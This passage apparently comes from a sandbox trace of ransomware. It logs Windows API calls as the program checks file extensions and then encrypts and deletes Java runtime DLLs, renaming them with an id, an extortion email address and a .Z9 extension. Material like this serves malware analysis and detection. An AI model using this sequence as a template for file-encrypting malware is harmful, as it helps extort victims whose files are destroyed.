	[0093.202] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1
	[0093.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0093.202] lstrlenW (lpString=".1cd") returned 4
	[0093.202] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1
	[0093.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0093.202] lstrlenW (lpString=".jpg") returned 4
	[0093.202] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1
	[0093.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0093.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0093.203] lstrlenW (lpString=".doc") returned 4
	[0093.203] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1
	[0093.203] lstrlenW (lpString=".docx") returned 5
	[0093.203] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1
	[0093.203] lstrlenW (lpString=".pdf") returned 4
	[0093.203] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1
	[0093.203] lstrlenW (lpString=".xls") returned 4
	[0093.203] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1
	[0093.203] lstrlenW (lpString=".xlsx") returned 5
	[0093.203] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1
	[0093.203] lstrlenW (lpString=".ppt") returned 4
	[0093.203] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1
	[0093.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0093.203] lstrlenW (lpString=".zip") returned 4
	[0093.203] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1
	[0093.203] lstrlenW (lpString=".rar") returned 4
	[0093.203] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1
	[0093.203] lstrlenW (lpString=".bz2") returned 4
	[0093.203] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1
	[0093.203] lstrlenW (lpString=".7z") returned 3
	[0093.203] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1
	[0093.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0093.203] lstrlenW (lpString=".dbf") returned 4
	[0093.203] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1
	[0093.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0093.203] lstrlenW (lpString=".1cd") returned 4
	[0093.203] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1
	[0093.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50
	[0093.203] lstrlenW (lpString=".jpg") returned 4
	[0093.203] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1
	[0093.204] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.204] lstrlenW (lpString="javafx_font.dll") returned 15
	[0093.204] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.204] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69184) returned 1
	[0093.204] CloseHandle (hObject=0x394) returned 1
	[0093.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 0x20
	[0093.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.204] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.204] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.204] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.204] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0093.205] GetLastError () returned 0x0
	[0093.205] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x10e40, lpOverlapped=0x0) returned 1
	[0093.219] WriteFile (in: hFile=0x378, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x10e50, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x10e50, lpOverlapped=0x0) returned 1
	[0093.221] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.221] WriteFile (in: hFile=0x378, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf2, lpOverlapped=0x0) returned 1
	[0093.221] SetEndOfFile (hFile=0x378) returned 1
	[0093.221] CloseHandle (hObject=0x378) returned 1
	[0093.222] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.222] SetEndOfFile (hFile=0x394) returned 1
	[0093.225] CloseHandle (hObject=0x394) returned 1
	[0093.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.225] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 1
	[0093.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0093.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0093.225] lstrlenW (lpString=".doc") returned 4
	[0093.225] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.225] lstrlenW (lpString=".docx") returned 5
	[0093.225] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0093.225] lstrlenW (lpString=".pdf") returned 4
	[0093.225] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.225] lstrlenW (lpString=".xls") returned 4
	[0093.225] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.225] lstrlenW (lpString=".xlsx") returned 5
	[0093.225] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0093.225] lstrlenW (lpString=".ppt") returned 4
	[0093.225] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0093.225] lstrlenW (lpString=".zip") returned 4
	[0093.225] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.225] lstrlenW (lpString=".rar") returned 4
	[0093.226] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.226] lstrlenW (lpString=".bz2") returned 4
	[0093.226] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.226] lstrlenW (lpString=".7z") returned 3
	[0093.226] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0093.226] lstrlenW (lpString=".dbf") returned 4
	[0093.226] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0093.226] lstrlenW (lpString=".1cd") returned 4
	[0093.226] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0093.226] lstrlenW (lpString=".jpg") returned 4
	[0093.226] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0093.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0093.226] lstrlenW (lpString=".doc") returned 4
	[0093.226] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.226] lstrlenW (lpString=".docx") returned 5
	[0093.226] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0093.226] lstrlenW (lpString=".pdf") returned 4
	[0093.226] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.226] lstrlenW (lpString=".xls") returned 4
	[0093.226] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.226] lstrlenW (lpString=".xlsx") returned 5
	[0093.226] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0093.226] lstrlenW (lpString=".ppt") returned 4
	[0093.226] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0093.226] lstrlenW (lpString=".zip") returned 4
	[0093.227] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.227] lstrlenW (lpString=".rar") returned 4
	[0093.227] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.227] lstrlenW (lpString=".bz2") returned 4
	[0093.227] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.227] lstrlenW (lpString=".7z") returned 3
	[0093.227] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0093.227] lstrlenW (lpString=".dbf") returned 4
	[0093.227] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0093.227] lstrlenW (lpString=".1cd") returned 4
	[0093.227] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54
	[0093.227] lstrlenW (lpString=".jpg") returned 4
	[0093.227] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.227] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.227] lstrlenW (lpString="javafx_iio.dll") returned 14
	[0093.227] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.228] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=128064) returned 1
	[0093.228] CloseHandle (hObject=0x394) returned 1
	[0093.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 0x20
	[0093.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.228] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.228] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.228] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.228] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0093.229] GetLastError () returned 0x0
	[0093.229] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x1f440, lpOverlapped=0x0) returned 1
	[0093.257] WriteFile (in: hFile=0x378, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x1f450, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x1f450, lpOverlapped=0x0) returned 1
	[0093.259] ReadFile (in: hFile=0x394, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.259] WriteFile (in: hFile=0x378, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf0, lpOverlapped=0x0) returned 1
	[0093.259] SetEndOfFile (hFile=0x378) returned 1
	[0093.259] CloseHandle (hObject=0x378) returned 1
	[0093.259] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.260] SetEndOfFile (hFile=0x394) returned 1
	[0093.261] CloseHandle (hObject=0x394) returned 1
	[0093.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.261] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 1
	[0093.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0093.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0093.262] lstrlenW (lpString=".doc") returned 4
	[0093.262] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.262] lstrlenW (lpString=".docx") returned 5
	[0093.262] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1
	[0093.262] lstrlenW (lpString=".pdf") returned 4
	[0093.262] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.262] lstrlenW (lpString=".xls") returned 4
	[0093.262] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.262] lstrlenW (lpString=".xlsx") returned 5
	[0093.262] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1
	[0093.262] lstrlenW (lpString=".ppt") returned 4
	[0093.262] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0093.262] lstrlenW (lpString=".zip") returned 4
	[0093.262] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.262] lstrlenW (lpString=".rar") returned 4
	[0093.262] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.262] lstrlenW (lpString=".bz2") returned 4
	[0093.262] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.262] lstrlenW (lpString=".7z") returned 3
	[0093.262] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0093.262] lstrlenW (lpString=".dbf") returned 4
	[0093.262] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0093.262] lstrlenW (lpString=".1cd") returned 4
	[0093.262] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0093.262] lstrlenW (lpString=".jpg") returned 4
	[0093.262] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0093.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0093.435] lstrlenW (lpString=".doc") returned 4
	[0093.435] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.435] lstrlenW (lpString=".docx") returned 5
	[0093.435] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1
	[0093.436] lstrlenW (lpString=".pdf") returned 4
	[0093.436] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.436] lstrlenW (lpString=".xls") returned 4
	[0093.436] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.436] lstrlenW (lpString=".xlsx") returned 5
	[0093.436] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1
	[0093.436] lstrlenW (lpString=".ppt") returned 4
	[0093.436] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0093.436] lstrlenW (lpString=".zip") returned 4
	[0093.436] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.436] lstrlenW (lpString=".rar") returned 4
	[0093.436] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.436] lstrlenW (lpString=".bz2") returned 4
	[0093.436] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.436] lstrlenW (lpString=".7z") returned 3
	[0093.436] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0093.436] lstrlenW (lpString=".dbf") returned 4
	[0093.436] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0093.436] lstrlenW (lpString=".1cd") returned 4
	[0093.436] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53
	[0093.436] lstrlenW (lpString=".jpg") returned 4
	[0093.436] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.436] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.436] lstrlenW (lpString="jfr.dll") returned 7
	[0093.436] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0093.511] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=26688) returned 1
	[0093.511] CloseHandle (hObject=0x378) returned 1
	[0093.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20
	[0093.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.511] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0093.511] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.511] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.511] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0093.512] GetLastError () returned 0x0
	[0093.512] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x6840, lpOverlapped=0x0) returned 1
	[0093.739] WriteFile (in: hFile=0x364, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x6850, lpOverlapped=0x0) returned 1
	[0093.741] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.741] WriteFile (in: hFile=0x364, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0093.741] SetEndOfFile (hFile=0x364) returned 1
	[0093.821] CloseHandle (hObject=0x364) returned 1
	[0093.821] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.821] SetEndOfFile (hFile=0x378) returned 1
	[0093.822] CloseHandle (hObject=0x378) returned 1
	[0093.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.822] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 1
	[0093.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0093.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0093.822] lstrlenW (lpString=".doc") returned 4
	[0093.822] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.822] lstrlenW (lpString=".docx") returned 5
	[0093.822] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0093.822] lstrlenW (lpString=".pdf") returned 4
	[0093.822] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.823] lstrlenW (lpString=".xls") returned 4
	[0093.823] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.823] lstrlenW (lpString=".xlsx") returned 5
	[0093.823] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0093.823] lstrlenW (lpString=".ppt") returned 4
	[0093.823] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0093.823] lstrlenW (lpString=".zip") returned 4
	[0093.823] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.823] lstrlenW (lpString=".rar") returned 4
	[0093.823] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.823] lstrlenW (lpString=".bz2") returned 4
	[0093.823] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.823] lstrlenW (lpString=".7z") returned 3
	[0093.823] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0093.823] lstrlenW (lpString=".dbf") returned 4
	[0093.823] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0093.823] lstrlenW (lpString=".1cd") returned 4
	[0093.823] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0093.823] lstrlenW (lpString=".jpg") returned 4
	[0093.823] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0093.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0093.823] lstrlenW (lpString=".doc") returned 4
	[0093.823] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.823] lstrlenW (lpString=".docx") returned 5
	[0093.823] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0093.823] lstrlenW (lpString=".pdf") returned 4
	[0093.823] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.823] lstrlenW (lpString=".xls") returned 4
